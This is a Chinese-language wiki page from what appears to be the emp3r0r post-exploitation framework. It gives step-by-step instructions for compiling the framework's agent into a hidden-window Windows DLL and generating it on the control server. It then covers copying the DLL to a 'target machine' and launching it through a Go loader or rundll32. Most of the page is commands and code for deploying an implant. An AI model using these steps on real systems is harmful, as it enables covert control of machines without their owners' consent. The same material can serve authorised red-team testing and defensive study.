-
-
Notifications
You must be signed in to change notification settings - Fork 250
DLL Agent (zh‐CN)
Jimmy Mi edited this page Dec 16, 2024
·
3 revisions
-
修改源代码:更新
./cmd/agent/main.go
,添加以下代码:// 其他代码 import "C" //export main func main() { // 其他代码 }
这样可以将
main
函数导出,使其可以从DLL外部调用。 -
设置环境:确保您的 Windows 机器上已安装 mingw 和 Go 环境。
-
构建 DLL:在 Windows 主机上运行以下命令,将代理编译为 DLL:
go build -buildmode=c-shared -ldflags='-s -w -H=windowsgui' -o emp3r0r.dll .\cmd\agent\
-
复制 DLL:将生成的
emp3r0r.dll
复制到服务器的~/.emp3r0r/stub-win-dll-amd64
目录下。 -
生成代理:在服务器上打开
emp3r0r
,运行gen_agent
命令,并选择选项3来配置 Windows 代理。 -
部署 DLL:生成的 DLL 完成后,将其复制到 Windows 目标机器上使用。
您可以使用一个小工具来测试 DLL,调用其中的函数。以下是一个示例:
package main
import (
"flag"
"fmt"
"syscall"
)
func main() {
dll_file := flag.String("dll", "", "加载 DLL 文件")
func_name := flag.String("func", "", "调用函数")
flag.Parse()
dllPath := *dll_file
procName := *func_name
// 加载 DLL
dll, err := syscall.LoadLibrary(dllPath)
if err != nil {
fmt.Println("加载 DLL 出错:", err)
return
}
defer syscall.FreeLibrary(dll)
// 获取函数地址
proc, err := syscall.GetProcAddress(dll, procName)
if err != nil {
fmt.Println("获取函数地址出错:", err)
return
}
// 调用函数
_, _, _ = syscall.SyscallN(proc, 0, 0, 0, 0)
}
构建并运行该工具:
-
启用日志:在 PowerShell 中启用日志记录,以便确认agent是否正在运行:
$env:VERBOSE='true'
-
运行工具:使用以下命令调用
emp3r0r.dll
中的main
函数:.\rundll.exe -func main -dll emp3r0r.dll
您也可以使用 rundll32.exe
来调用 DLL:
rundll32.exe emp3r0r.dll main
但是,即使设置了 VERBOSE=true
,您可能也看不到任何输出。